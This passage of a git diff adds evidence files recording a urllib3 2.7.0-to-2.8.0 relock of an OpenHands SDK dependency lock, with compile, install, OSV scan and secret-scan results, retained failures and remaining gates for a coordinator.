CLI](https://cli.github.com/manual/gh_attestation_verify):\n```sh\ngh attestation verify --repo astral-sh/uv\n```\n\nYou can also download the attestation from [GitHub](https://github.com/astral-sh/uv/attestations) and verify against that directly:\n```sh\ngh attestation verify --bundle \n```\n\n\n","reactions":{"url":"https://api.github.com/repos/astral-sh/uv/releases/391716851/reactions","total_count":45,"+1":20,"-1":0,"laugh":0,"hooray":8,"confused":0,"heart":8,"rocket":7,"eyes":2}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt new file mode 100644 index 000000000..bc03883d1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "uv", "--version"] +cwd: +started_utc: 2026-09-30T15:44:06.384031+00:00 +ended_utc: 2026-09-30T15:44:06.416387+00:00 +exit_code: 0 + +stdout: +uv 0.12.17 (x86_64-unknown-linux-gnu) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json new file mode 100644 index 000000000..a95550890 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json @@ -0,0 +1,1034 @@ +{ + "schema_version": 1, + "record": "openhands-sdk-150-urllib3-280-linux-candidate-relock", + "observed_utc": "2026-09-30T16:01:27.450947+00:00", + "evidence_class": "local_integration", + "status": "urllib3_only_source_checks_passed; latest_security_rescan_recorded; intermediate_candidate_not_accepted", + "scope": "The existing SDK/tools 1.50.0 recipe candidate on Linux x86_64 / CPython 3.13.15, relocked with unchanged upstream uv 0.12.17 compile policy and current OSV 2.6.0. This is source qualification in a new scratch environment.", + "baselines": { + "published_branch": "codex/runtime-qualification-20260930", + "commit": "00aa6c25fe6f27e9f5974e9f6a5592aa31683479", + "requirements_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "preserved_source_receipt": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json", + "preserved_source_commands": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json", + "historical_hosted_failure": { + "run_id": 36737133691, + "url": "https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36737133691", + "head_commit": "00aa6c25fe6f27e9f5974e9f6a5592aa31683479", + "read_command_exit_code": 0, + "observed_security_scan_exit_code": 1, + "scope": "Read of retained hosted failure; no new hosted execution." + } + }, + "research": { + "selected_tools": [ + "Existing uv 0.12.17 native pip compile/install/check; no new resolver or utility.", + "Existing pinned OSV Scanner 2.6.0 CLI; downloaded only into task scratch." + ], + "selected_skills": [ + "search-first: quick inline maintenance research of existing selected tools and primary package/repository sources.", + "context-mode: process large source, scan, compile and test outputs outside the prompt." + ], + "upstream_urllib3": { + "repository": "https://github.com/urllib3/urllib3", + "tag": "2.8.0", + "commit": "b1d30ab61fe0db8f11092805e8c5ac43e091064a", + "release_published_utc": "2026-09-15T19:40:51Z", + "requires_python": ">=3.10", + "artifacts": [ + { + "filename": "urllib3-2.8.0-py3-none-any.whl", + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "uploaded_utc": "2026-09-15T19:29:34.577402Z", + "yanked": false + }, + { + "filename": "urllib3-2.8.0.tar.gz", + "url": "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", + "sha256": "63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", + "uploaded_utc": "2026-09-15T19:29:36.253420Z", + "yanked": false + } + ], + "fixed_advisories": [ + "GHSA-8988-9cw3-xx77", + "GHSA-gh4c-6fx4-qh6g", + "GHSA-vxq7-64xx-v4gw" + ] + }, + "parallel_main_repair": { + "pr": 546, + "url": "https://github.com/seathatflowsinourveins/native-agent-stack/pull/546", + "observed_head": "09d5371d71d3127db3144a0ce3c444a1af696b7f", + "observation": "Its published description explicitly states candidate draft #535 needs the urllib3 2.8.0 bump and new digest. This work does not copy the 335-package macOS closure or change its frozen artifact/Next exception." + } + }, + "resolution": { + "upstream_repository": "https://github.com/OpenHands/software-agent-sdk", + "upstream_version": "1.50.0", + "upstream_commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "source_archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "upstream_uv_lock_sha256": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801", + "native_tool": "uv 0.12.17", + "target": { + "implementation_name": "cpython", + "python_full_version": "3.13.15", + "platform_machine": "x86_64", + "platform_system": "Linux", + "sys_platform": "linux" + }, + "upstream_policy": { + "exclude_newer": "7 days", + "litellm": "2026-07-20T00:00:00Z", + "lmnr": "2026-08-23T00:00:00Z", + "urllib3_requirement": "urllib3>=2.6.3" + }, + "constraints": "Byte copy of saved main-reconcile-20260930-constraints.txt, preserving every main marker and version except the single urllib3 2.7.0 to 2.8.0 change. The saved two published SDK/tools wheel inputs are copied unchanged. Earlier input/receipt bytes remain historical.", + "selected_requirements": 176, + "unchanged_candidate_declarations": 175, + "changes_from_candidate": [ + { + "name": "urllib3", + "before": "2.7.0", + "after": "2.8.0" + } + ], + "selected_additions": [], + "selected_removals": [], + "sdk_tools_versions": "1.50.0", + "requirements_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "only_urllib3_version_and_two_hashes_changed": true, + "pypi_artifact_hashes_independently_verified": true, + "native_control_byte_identical_to_baseline": true, + "native_fresh_extraction_reproduction_byte_identical": true, + "pristine_source_regular_files_compared_per_extraction": 1800, + "pristine_source_mismatches": [], + "compile_count": 3, + "relative_cutoff_limit": "Compiles share the recorded date. A future relative seven-day cutoff replay is a new dated resolution; recorded inputs, native returns and hashes are retained." + }, + "native_install": { + "owned_fresh_venv": true, + "hash_install_exit_code": 0, + "build_hash_install_exit_code": 0, + "pip_check_exit_code": 0, + "import_exit_code": 0, + "checked_requirement_versions": 176, + "installed_distributions": 178, + "installed_version_mismatches": [], + "urllib3_published_python_sources_compared": 36, + "urllib3_source_mismatches": [], + "fixture_command": "python -m unittest tests.test_openhands_150 -v", + "fixture_result": { + "exit_code": 0, + "tests": 12, + "failures": 0, + "skips": 0 + }, + "fixture_sha256": "52e1beefe24bfe03c298ae4d10a17d56388626503bc39c7f7b09a5ffbd840270", + "fixture_limit": "Unchanged local fixtures use actual SDK objects with patched model calls. They are not official upstream tests, provider/server/isolation checks, or task-quality acceptance." + }, + "osv": { + "version": "2.6.0", + "binary_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "pin_source": ".github/workflows/security-scan.yml", + "current_configuration_path": ".github/osv-scanner.toml", + "configuration_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "configuration_scope": "Byte copy of the configuration at the frozen 00aa6c25 candidate base; current at this observed source scan. A subsequently integrated main configuration needs its own gate observation.", + "parser": "requirements.txt", + "no_resolve": true, + "scanner_reported_packages": 174, + "recognition_limit": "The native scanner reports 174 pinned name/version entries; the two direct SDK/tools wheel URLs are not counted. This does not prove OSV recognized all 176 identities.", + "paired_baseline_current_config_exit_code": 1, + "paired_baseline_unignored": [ + { + "package": "urllib3", + "version": "2.7.0", + "ids": [ + "GHSA-8988-9cw3-xx77", + "GHSA-gh4c-6fx4-qh6g", + "GHSA-vxq7-64xx-v4gw" + ] + } + ], + "exception_changes": "None: advisory IDs, expiry, ignore configuration, macOS frozen artifact and shared guard are unchanged. This candidate-only scan is not the repository-wide security gate.", + "time_bound_result": "The initial candidate OSV outputs remain exactly as returned at 15:51Z. A later primary-verified PyJWT advisory reopens security qualification. The latest rescan is retained separately; no current security-pass claim is made.", + "latest_rescan": { + "command_id": "candidate-osv-current-config-rescan", + "started_utc": "2026-09-30T16:09:27.378658+00:00", + "ended_utc": "2026-09-30T16:09:28.082317+00:00", + "exit_code": 1, + "findings": [ + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "ids": [ + "GHSA-42vr-xj54-vc7v" + ] + } + ], + "requirements_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "configuration_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "interpretation": "Native backend returned these findings at the recorded observation time. The newly primary-verified advisory reopens security acceptance even if that backend observation has not yet propagated it." + }, + "initial_candidate_config_exit_code": 0, + "initial_candidate_config_findings": [], + "initial_candidate_empty_config_exit_code": 1, + "initial_candidate_empty_config_findings": [ + { + "package": "oauthlib", + "version": "3.3.1", + "ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ] + } + ] + }, + "oauthlib_exact_target_source_review": { + "target": "Linux x86_64 / CPython 3.13.15 only", + "requirements_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "retained_version": "3.3.1", + "fresh_runs": "The unchanged maintained JWT scan and alias/from-import OAuthlib supplement reran against this exact fresh environment and recipe.", + "maintained_jwt_script": { + "path": "blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "sha256": "d4eb55d798102e5a6d64d4d629a3a994acfadff74daa971195b73592c2a77cff", + "bytes": 5704 + }, + "alias_supplement": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "sha256": "080aa7cece92c786b7977ade5bf851aa776c31dbebafab98decfc5b1ae0e5960", + "bytes": 7145 + }, + "alias_scan_sources": 10684, + "recipe_sources": 12, + "unhandled_parse_errors": 0, + "reviewed_text_only_exception": { + "path": "func_timeout/py2_raise.py", + "sha256": "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77", + "scope": "Unchanged Python 2-only helper is text reviewed; Python 3 selects py3_raise." + }, + "hash_bound_oauthlib_review_files_matching_previous_run": 9, + "literal_importers": "Six requests_oauthlib files bind OAuthlib client classes, token errors and common helpers. No OAuthlib imports or advisory-related literal references were reported in the 12 recipe sources. Authlib matches refer to its own implementations.", + "reexports": "OAuthlib oauth2 imports/re-exports endpoints, servers and grants. Loaded definitions do not prove authorization-server invocation. RevocationEndpoint has enable_jsonp=False by default, and inspected preconfigured servers omit that option. The authorization-code/PKCE comparison remains a separate server grant path.", + "new_urllib3_scope": "All 36 installed urllib3 Python sources match the official 2.8.0 wheel. The explicit oauthlib/oauth2/enable_jsonp/create_revocation_response/AuthorizationCodeGrant text sweep has no matches. This bounded literal-source finding carries no general OAuth runtime reachability claim.", + "limits": [ + "The maintained JWT scan covers selected literal imports and decode-style names, not all aliases or possible runtime callers.", + "The supplement records literal aliases/from-import bindings, but its bound-call detector visits ast.Call only; class bases and bare attributes are not reported as calls.", + "The text sweep covers selected advisory names, not exhaustive semantic reachability.", + "Dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime behavior remain unknown.", + "No endpoint/provider was invoked and no macOS target was qualified." + ], + "conclusion": "Fresh exact-target static review supports the same bounded existing exception review; independent guard acceptance is owned by the coordinator." + }, + "source_review_security_note": { + "source": "https://github.com/urllib3/urllib3/releases/tag/2.8.0", + "finding": "The upstream release changes HTTPS forwarding proxy TLS semantics: proxy CA/client certificates belong in proxy_ssl_context; proxy identity overrides use proxy_assert_hostname or proxy_assert_fingerprint. Destination identity/client-certificate settings no longer apply to that proxy connection.", + "qualification_limit": "Package source/imports and the existing fixtures were checked; no deployed HTTPS proxy configuration or network exchange was qualified." + }, + "evidence_classes_by_claim": { + "native_compile_install_check_import_and_osv": "local_integration via supported pinned native CLI operations; actual returned bytes retained", + "caller_and_artifact_source_review": "source_review and independent artifact observation", + "sdk_fixtures": "unchanged local fixtures with actual SDK objects and patched calls; not upstream suite acceptance", + "repository_validator_and_publication_scan": "structural validation; missing shared hash registrations remain explicit", + "historical_source_receipts_and_hosted_failure": "retained/read historical evidence; no replay presented as a new model or hosted run" + }, + "corrections_and_retained_failures": [ + { + "id": "hosted-log-path-sanitization", + "failed_check": "repository-validation-before-integration", + "exit_code": 1, + "finding": "The first native publication check detected a hosted runner home path in the fetched historical failure log.", + "correction": "Added explicit hosted runner home and hosted toolcache placeholder sanitization only to the public copy. Private raw stdout and its hash remain unchanged. The failed validation return is retained.", + "verified_by": "repository-validation-after-path-sanitization; only the two expected root-owned hash registrations remain." + }, + { + "id": "declared-sanitization-path-example", + "failed_check": "owned-file-publication-scan", + "exit_code": 1, + "finding": "The native scoped scan rejected literal home-path prefixes in the new redaction declarations themselves.", + "correction": "Describe the source prefix by role instead of including its literal spelling; this preserves the declared replacement and every private raw-byte hash.", + "verified_by": "owned-file-publication-scan-after-declared-paths-redaction" + }, + { + "id": "latest-upstream-payload-publication-hygiene", + "failed_check": "final-owned-file-publication-scan", + "exit_code": 1, + "finding": "The new upstream PyJWT advisory and scanner details contain PoC home paths; PyPI project description contains a UUID and a JWT example caught by existing publication/gitleaks gates.", + "correction": "Public copies mask only those matched source-example values with declared placeholders. Private original native bytes and their recorded hashes are unchanged. No gate, ignore or advisory configuration is changed.", + "verified_by": "final-owned-file-publication-scan-after-upstream-example-redaction and normal gitleaks pre-commit gate." + }, + { + "id": "premature-normal-commit-attempt", + "argv": [ + "rtk", + "git", + "commit", + "-m", + "fix(openhands): relock candidate urllib3 to 2.8.0" + ], + "exit_code": 1, + "finding": "The attempted normal commit was issued before the latest scoped publication scan had passed. The installed pre-commit gate rejected the staged public PyPI README JWT example; no commit was created.", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt", + "correction": "Inspect redacted native report, sanitize public upstream examples, then require successful scoped/native secret gates before retrying the normal commit." + } + ], + "remaining_gates": [ + "Coordinator must verify the PyJWT 2.15.0 seven-day cutoff and issue #518 owner handoff, perform a separately qualified bounded relock, and rerun security qualification on the final integrated lock.", + "Coordinator must register the new evidence/input artifacts and changed lock/pins hashes in the shared evidence manifest.", + "Coordinator must bind and independently validate the existing OAuthlib exact-target guard to the new candidate digest.", + "Repository-wide security qualification remains separate and depends on the parallel main #546 fix for the frozen Next advisory, then a new integrated hosted/native observation.", + "The pinned runtime image remains unaccepted under its earlier package findings; this scratch recipe lock does not repair or rebuild it.", + "Independent trusted observation, native isolation/provider operation and task-quality acceptance remain open." + ], + "execution_boundary": { + "new_model_requests": 0, + "server_or_container_starts": 0, + "image_builds": 0, + "global_configuration_changes": 0, + "shared_manifest_changes": 0, + "provider_usage": null, + "usage_note": "No provider invocation occurred in these qualification commands. Coordinator/worker token usage was not collected and remains unknown." + }, + "raw_output_policy": { + "retained_public": "Actual stdout/stderr in .txt artifacts and complete native scan JSON. Declared path substitutions, public upstream PoC home-prefix/UUID masking and a public PyPI README JWT-example masking are applied; original bytes and original hashes remain private and unchanged.", + "retained_private": "Original stdout/stderr bytes for every command remain in the owned scratch directory; raw hashes are in the command ledger.", + "placeholders": [ + "", + "", + "", + "", + "", + "", + "", + "" + ], + "sanitization_correction_recorded": true, + "additional_upstream_payload_redaction_counts": { + "urllib3-relock-20260930-candidate-osv-current-config-rescan.json": { + "personal home path": 2 + }, + "urllib3-relock-20260930-candidate-osv-current-config-rescan.txt": { + "personal home path": 2 + }, + "urllib3-relock-20260930-pyjwt-215-pypi.txt": { + "local session identifier": 1, + "public README JWT example": 1 + }, + "urllib3-relock-20260930-pyjwt-advisory-official.txt": { + "personal home path": 2 + }, + "urllib3-relock-20260930-pyjwt-advisory-osv.txt": { + "personal home path": 2 + } + } + }, + "checks": [ + { + "id": "native-control-compile", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "returned_output_sha256": "4d2f9b42802e38983449113d8cc9d5655d80f17207b588eb846993f0fe077674" + }, + { + "id": "native-candidate-compile", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "returned_output_sha256": "b25fc55afe7cbb4791c6850406d6ef1fefe7aad87471ac3437214625ac5ac0a0" + }, + { + "id": "native-pristine-reproduction", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "returned_output_sha256": "d054ccd94dde8ff2434db53d1e61fde2e5b006a828950ebda2bdf89f89c31435" + }, + { + "id": "exact-lock-delta", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "returned_output_sha256": "69615406cf936ee0ecaa844953620b3a1aeb059fea4f927fc5e01794a9db1981" + }, + { + "id": "pristine-source-verification", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "returned_output_sha256": "14f8cc5187612148f60de1541046a0844ab3bb6b9dc377090cb5de5138362c1c" + }, + { + "id": "fresh-venv", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "returned_output_sha256": "98d76e14cb8b2c2787947a82ee3d7c8b57ebb40c6e0a4ab2ea607fad5810b0b2" + }, + { + "id": "build-hash-install", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "returned_output_sha256": "531ca125a17fb3bc737cc1e63b8ed1b131ced2ee47821a976258a603cdba2ebc" + }, + { + "id": "runtime-hash-install", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "returned_output_sha256": "0b8ce270ba574a751ff16d52190b4d5b329918e66e28b11c40cfdfd3bf5a3bee" + }, + { + "id": "native-pip-check", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "returned_output_sha256": "a13391a6b9383b3bf1ae09fc3da3e567bbe6d87312f2c3def211a96a2cecd0f0" + }, + { + "id": "native-imports", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "returned_output_sha256": "670804dc7aef95981033adda1ac8acb9d023022759504ee57262e64a79e25fe7" + }, + { + "id": "actual-sdk-fixtures", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "returned_output_sha256": "14cc0a8d1751d7300dae2524d4e7838ab8a33963b01a2427a5b58bc75fc388fd" + }, + { + "id": "maintained-jwt-callers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "returned_output_sha256": "f2cb234d51c610eadcc8114d28f0deff618899d2f6fd88d6fc7e28630f68931c" + }, + { + "id": "oauthlib-alias-callers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "returned_output_sha256": "019d8520664fec5d1c326901aabc988800688649ffae22ecc2624ae190813437" + }, + { + "id": "urllib3-published-source-identity", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "returned_output_sha256": "243f20cb85641984d660ba1120a6f4b09b41b88cb7f89a37b3137206ac434012" + }, + { + "id": "urllib3-oauth-literal-sweep", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "returned_output_sha256": "fcc5ba26431b00ddd8522a75472de8242b3fea4dac4493e2837ce16e9fb749f3" + }, + { + "id": "installed-version-inventory", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "returned_output_sha256": "d1e073a83ed95f20f8436c016e5a2c04efe6a64c55118f720e29011300f991f5" + }, + { + "id": "baseline-osv-ci-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "returned_output_sha256": "40b41feb5e27a1f8e17d1e36e4c391aec18ceab3c076117b38ee0d4f41741a4d" + }, + { + "id": "baseline-osv-empty-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "returned_output_sha256": "fb6f5d2a85ed9ffbc7ec86c0347d8ce83c6b2e6e687106a8359a4f02f8c07c8e" + }, + { + "id": "candidate-osv-ci-config", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "returned_output_sha256": "24f0d6ce6c9a34900663a79c21d3c2118799ed6fc1d8cfe27ab1a2be13976bee" + }, + { + "id": "candidate-osv-empty-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "returned_output_sha256": "0586d512426ed14c0cba8f9ac033a1151986a67e853865628e152301600aaa4a" + }, + { + "id": "exact-caller-source-review", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "returned_output_sha256": "61fba571a483831412c96daa07178e8261db77f58f2d60b8e2d9ff5a276f9db2" + }, + { + "id": "repository-validation-before-integration", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "returned_output_sha256": "4c45bd586ff4760f2de93dbb2bbe950ee5e4d638870a80e5ea4ffd681d700e89" + }, + { + "id": "repository-validation-after-path-sanitization", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "returned_output_sha256": "004274ab419a392924dfe312dc3cab8704160e7d17c10c4915125df066c51a17" + }, + { + "id": "owned-file-publication-scan", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "returned_output_sha256": "601a09a523f2fcf87e84dc66b66aee42fe6d98f2ab6b18f5c87daa4548ad5668" + }, + { + "id": "owned-file-publication-scan-after-declared-paths-redaction", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", + "returned_output_sha256": "7d7f93e7c5e1343a0549bc5e74ea624ca9e71fb16f5e922b422a6f413777dc09" + }, + { + "id": "owned-diff-check", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", + "returned_output_sha256": "748a787acf6ae7f176b36197ef18ea0d91be1f860f36f15f8ff46d05599dc503" + }, + { + "id": "repository-validation-final-owned-scope", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", + "returned_output_sha256": "7e7b5d9e03774c2fc89106a8560d34c500b8543be3830db32b5bf446a3f6694e" + }, + { + "id": "pyjwt-advisory-official", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", + "returned_output_sha256": "13345ffd64854f23a1f4db80e2c7d9e75bbdf7101c6de5042621974ea1ed0d4a" + }, + { + "id": "pyjwt-advisory-osv", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", + "returned_output_sha256": "ec68a691e5b919679732c8600d27c07a719718d0e80f8540e58319e94684ca14" + }, + { + "id": "pyjwt-215-pypi", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "returned_output_sha256": "96c2bb91c88b9e2869b62f1efaaeb7df24bd78e5db8c7e267b183557620b6c95" + }, + { + "id": "candidate-osv-current-config-rescan", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", + "returned_output_sha256": "72d39a51323df0a9888c433435cb5289b7a21b91df8b857caa56ce4df9c58332" + }, + { + "id": "final-owned-file-publication-scan", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt", + "returned_output_sha256": "e4c3e6648209bf90f77a50d9454000310e45906f33cebbaa50f39a02d4bf23c8" + }, + { + "id": "gitleaks-version", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt", + "returned_output_sha256": "106a656382fa5139173c3bf2dfad0a09220be1dfbddd44ea090450127e22661a" + }, + { + "id": "gitleaks-git-help", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt", + "returned_output_sha256": "f84b66a7247f23f5f864783f8a77e31e1b1a628475b46a9e63eff9e0660b9bc1" + }, + { + "id": "staged-gitleaks-rejection", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt", + "returned_output_sha256": "8f1979d20d985a9eb7206f747f3c6656664738fbd3a7e5611af5e842f27b7496" + }, + { + "id": "final-owned-file-publication-scan-after-upstream-example-redaction", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt", + "returned_output_sha256": "71592f600700019925c85971e2e965f1130479db6eae2bf9c985f8bd758822c5" + }, + { + "id": "repository-validation-after-upstream-example-redaction", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt", + "returned_output_sha256": "a0d1c9589020c5d48103ae8030bd7467763fba6317b3fea787b589c107820e76" + }, + { + "id": "staged-gitleaks-after-public-example-redaction", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt", + "returned_output_sha256": "d0c69d2dbdc6ad16b9322a36e4f1ac2e08536b8c854fd31429b59f9437293618" + } + ], + "bound_files": [ + { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "bytes": 248359 + }, + { + "path": "blueprints/runtime-workers/openhands/pins.json", + "sha256": "ae9daaa8aeb7abafea47401513884c1ff26308c00a72dc03a1ab1f561404abed", + "bytes": 4460 + }, + { + "path": "blueprints/runtime-workers/openhands/build-requirements.lock", + "sha256": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2", + "bytes": 286 + }, + { + "path": "tests/test_openhands_150.py", + "sha256": "52e1beefe24bfe03c298ae4d10a17d56388626503bc39c7f7b09a5ffbd840270", + "bytes": 17216 + }, + { + "path": ".github/osv-scanner.toml", + "sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "bytes": 7630 + }, + { + "path": ".github/workflows/security-scan.yml", + "sha256": "88a47e2cf7c16078331a4052c08bf88bc10ed9c70c167d863cd8e581c1a0ef14", + "bytes": 9268 + } + ], + "sources": [ + "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml#L7", + "https://github.com/astral-sh/uv/releases/tag/0.12.17", + "https://docs.astral.sh/uv/reference/cli/#uv-pip-compile", + "https://github.com/urllib3/urllib3/releases/tag/2.8.0", + "https://github.com/urllib3/urllib3/tree/b1d30ab61fe0db8f11092805e8c5ac43e091064a", + "https://pypi.org/project/urllib3/2.8.0/", + "https://github.com/advisories/GHSA-8988-9cw3-xx77", + "https://github.com/advisories/GHSA-gh4c-6fx4-qh6g", + "https://github.com/advisories/GHSA-vxq7-64xx-v4gw", + "https://github.com/google/osv-scanner/releases/tag/v2.6.0", + "https://google.github.io/osv-scanner/configuration/", + "https://github.com/advisories/GHSA-42vr-xj54-vc7v", + "https://api.osv.dev/v1/vulns/GHSA-42vr-xj54-vc7v", + "https://pypi.org/pypi/PyJWT/2.15.0/json" + ], + "artifacts": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "sha256": "14cc0a8d1751d7300dae2524d4e7838ab8a33963b01a2427a5b58bc75fc388fd", + "bytes": 3212 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "sha256": "fb052032fc980b4d4e96e650bc9585ade80c2e7e088af3e1247681ec71009cb4", + "bytes": 14310 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "sha256": "90b1332fe158159b948fd56dda80014bb4408909cd9959fa6471d7b8e51be5bf", + "bytes": 7091 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "sha256": "b1e45e31e0d04f1b1e8704cbbaf018f9e20567e74a4e12c598bab2f1e17f69df", + "bytes": 5773 + }, + { + "path": 